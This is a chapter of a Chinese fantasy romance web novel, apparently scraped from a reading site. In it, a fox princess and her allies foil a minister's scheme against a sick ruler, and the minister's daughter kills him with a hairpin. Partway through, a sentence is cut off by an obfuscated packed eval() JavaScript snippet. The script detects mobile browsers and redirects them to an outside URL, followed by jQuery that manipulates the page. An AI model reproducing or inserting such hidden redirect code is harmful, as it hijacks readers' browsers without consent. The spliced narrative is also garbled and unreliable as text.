“是以我常常在想,当年我外祖和外祖父,双死于青丘的高塔之下,也是另一种两全。
那么相爱的两个人,留一个在世上长长久久地追思对方,实在是太可怜了。”
孟望舒没有答应夫君,她只把手轻轻盖在了肚子上,静静地看着远方,强忍着心里的难过。他们都知道,架在身上的那副担子,是从出生就无法摆脱的。
三界纷扰,妖兽横行,有一天,两人都要为那天下苍生献身是极有可能发生的。但叫自己因为想到那遥远哀伤的结局,便在一开头就退缩,她实在做不到。
“你冷静些,凤儿,你放开他。”
屋内的惊叫声打断了门口发愣的两个人,他们都认出了出声的是那个病得奄奄一息的天子。
“你杀了我也是无用,你身为一个卑贱的妖物,居然勾引天子,祸乱朝政。
你以为杀了老夫,你就能堵住天下悠悠众口吗!”
推开门的小狐狸看着那个被琵琶弦勒住脖子却依然嘴硬的老头,不禁暗暗翻了个白眼。都什么时候了,还在这儿扯家国大业,那屋里接近赤身躲起来的女子,自己进屋就感知到了两人极为接近的生息。
汾阳国主不喜女子,国本无继是真,这位所谓的皇叔,强行下药试图逼女儿与一个心有所属的皇上行房,想要诞下龙子,日后入主东宫的野心却也不假。
偏偏到了现在,那老头还满嘴的假仁假义,让自己的亲生骨血,牺牲一辈子的幸福,委身一个对自己毫无情意的男子,只为了那泼天的富贵和权倾朝野的欲望,便让他死在这儿算了。
将那位老臣脖子勒出血痕的伶人浑身都在剧烈地发着抖,手上的力气却丝毫不减。见满屋子的神族都没发话,冲到门口却又停下的士兵也迟迟不敢射出手中的箭,那张因为剧烈的喜悲,脸上被红的黑的白的脂粉搅得五官都叫人有些看不清的凤儿,却忽然在声音里多了几分决绝:
“我就是要杀了他,是他,是他软禁了你,逼你喝药,想要你同他女儿行房和婚。
你是这世上最好的天子,你宽容,仁厚,却要被他关在这儿,无法上朝,无法议政。这世道容不下我,却不该把矛头掉转向你,我当初若是能忍住不向前一步,今日你我便不会身陷囹圄。
今夜就让我豁出这条命去带走这个奸臣,还汾阳一个太平盛世,还百姓一个明君……”
不等说话的人反应过来,他手中的琵琶弦已经应声而断。方才还被他困住的老臣,已经被孟以冽连拖带拽,拉到了角落绑在了柱子上。杀人又狠又快地烈火宫主脸上似乎有些不耐烦,他瞪了一眼身边满脸惊讶的鲛人世子,没好气地骂了一句:
“我倒不知道,你们缘何杀人之前要讲这么多话?
人家是个唱戏的手无缚鸡之力倒也罢了,你平日也是这样絮絮叨叨,等对面咽气了你话还没说完。
那个…凤儿,你莫要在这儿杀了人,回头难以收拾局面。等事情处理好了,我替你把人提到郊外去杀。”
屋内的人早已知道,孟宫主这么多年手起刀落麻利得很,那对苦命的鸳鸯却是第一次见这样的场面,对视一眼后,跟屋内其他的人一样安静了下来没说话。
挨了训的白少春,却完全不恼,背着手围着屋里剩下的几个老臣走了一圈。低头凑近了那几张写满惊恐的脸,朗声道;
“来!你们几个说说,这位皇叔的如意算盘虽然落了空。
机会却被让了出来,我看看还有谁,要将女儿塞进这屋里,试试能不能生下太子来?还是你们还认识别的医生,开得出更灵验的方子,能让床上那位喝了以后对你们言听计从?”
都到了这时候,再看不清形势的几人,也都清醒了过来。纷纷都把责任推到了那位皇叔身上,言说自己只是惧怕对方势大,不得不附和,心里也是同情国主,支持科考选拔继任者的。
孟望舒望着面前那几个连连求饶的男子,心里只觉得一片悲凉。她看了看旁边的满脸嫌恶的弟弟,心里立刻明白了,对方和她一样,心里又想起了北海来,眼前的人虽然是江南的老臣,却像极了北海边的几个长老。
这些男人,要权势,要地位,从来是不肯自己去争去拼的。只会打女人的主意,为了利益,骨肉之情,夫妻情分,统统可以舍弃,结发之妻,亲生女儿,在他们眼里,都是明码标价可以拿来交换的棋子罢了。
“我林家的江山,我林家后人来继承,有什么问题!怪只怪你辜负了你娘,爱上了一个妖怪,你这个妹妹也不争气,熬了这样多天,人都熬没了。事还没办成。”
被绑在柱子上的老头说完这句话,就被一个簪子狠狠扎进了喉咙,喷涌而出的鲜血把剩下的话永远地封在了他的喉咙里,手持簪子的,正是他方才衣衫不整尖叫躲闪的女儿。
挺着肚子的人到这一刻才看清方才一直闪躲的那张脸,那是一张远不如蓝尾鲛人美艳,却也分外清秀的面庞,她的脸上胸口都溅上了父亲的鲜血,却丝毫不畏惧,死死地盯着那个眼里充满不甘把她带来世上的人:
“怎么了?你很惊讶自己死在我这个没用的东西手里吗?
不过你想不到也是正常的,如今汾阳的种种,哪一桩哪一件是你当初想得到的呢?
我自小就被你请来师父照着皇后的样子教导,礼仪书画样样精通,最后皇上另有所爱你没想到。
后来你不死心,将我送去青楼里学习媚术,以为这样我便能媚惑天子爬上龙床,最后我被关在这屋里整整半个月,皇上连正眼都不曾瞧过我一眼,你也没想到。
你更没想到的是,年仅十六岁的我,从被你送进青楼里学习那些手段之时,我就下定了决心要杀了你!我才十六岁啊,整个汾阳的人都知道我是高门大户里的千金,却无人知道我被你半夜派人掳进了销金窟。
我母亲与你年少相识,两情相悦才嫁进了你的王府,最后却要眼睁睁看着亲生女儿被送进妓院,含恨病死在床上。你这一生,什么都算不准,什么都看不透,却生生毁掉了我和我母亲的一生,今日我亲自送你上了黄泉路。
到了阎王面前可别再嘴硬了,来生好好当牛做马还我母亲和我这一世的屈辱吧!”
原来汾阳这样小国,除了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439536|155451||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老臣毒害天子,软禁皇上下药,居然还有把女儿送进青楼逼死夫人这样画本子里都编不出来的故事。被扎中咽喉躺在地上的人早已断了气,睁着一双浑浊的眼无声无息地盯着屋顶。
围在周围的人都被这番话哭诉震惊得说不出话来,以至于整间屋子都陷入了令人窒息的沉默。
说完这些的女子,提了提滑落到腰间的纱衣,有些狼狈的站起了身,却立刻被孟望舒递过去的披风裹住了身子。她感激地看了给自己衣服的人,又转身朝屋外走去,直到身后的人拉住了她的手腕,才回过头拍了拍小狐狸:
“孟国主还请放心,今儿是我大喜的日子。我才不会寻短见呢,他死了我以后剩下的,便都是好日子了,我会好好过。”
被这句话安慰到的人收回了手,又把眼神放到了床上那位脸色灰白的国主身上,现今自己身怀六甲,已经不便为他以灵力治病了,因而盘腿而坐为他运气的,是新继任山主的妹妹。
“事到如今,都是我的错,若是没有我……”
见到心上人有救的伶人,终于露出了打照面起的第一抹喜色,可对着屋子里眼圈乌青的人,却又好像生出了许多的愧疚。
“你自然有错,一错错在不该派出莲蓬虱去拦着他找我们报信,即便你今日真的跟那几个老头儿一起死了,报了仇,没有神族相助,他这个被药熬干了的身子也再难以康复,整个汾阳上下,都要失去那个处处为他们着想的好国君。
二错,便错在太软弱,即便是国主不喜女子,即便你是妖,只要他没有沉迷情爱,对国事不管不顾,便由不得别人来随意干预你们。既然选了不被世俗祝福的那条路,便更要时时警惕,他心软,你无用,便只能落到今日这样的地步。
眼前的风波虽然过去了,但以后你们要面对的事儿还多着呢,你须得挺起腰杆护着心爱之人,他也需硬起心肠对待国事,当了皇帝,光有菩萨心肠是无用的,还须得有金刚手段,才能威慑御下。”
一股脑儿把心里的话倒出来,孟望舒便率先走了出去,剩下的事情,已经不需要他们料理了。该说的方才也已经说尽了,跟在她身后的夫君,不知从哪儿变出一小包梅子,不等她反应过来,就觉得嘴里多了一颗令口齿生津的酸甜果子。
“你是不是觉得,我方才说的话,有些过了?”
小狐狸想到那伶人和汾阳国主刚经历了大难,心里又有些不落忍起来。
“哪里过了?这话你不说明白,他们日后只怕遇到事儿,还是要稀里糊涂的填了命进去。
再说了,你从前呵斥过我那么多回,我倒没见你哪回嫌自己话说重了的。”
说话的年轻神君有些委屈地撅了撅嘴,看了一眼吃着梅子心满意足的妻子,又想起往日自己挨训的画面来,不禁有些悲从中来,方才那苦命伶人她明明才刚认识,便心软起来,当年把他踢进冰河里的时候,倒不曾手软过半分。
有些不好意思的小狐狸只好也停下了脚步,拽着爱人的袖子左右晃了晃,柔声哄道:
“那不是你骨肉硬,我来个三两下的踢不死吗?”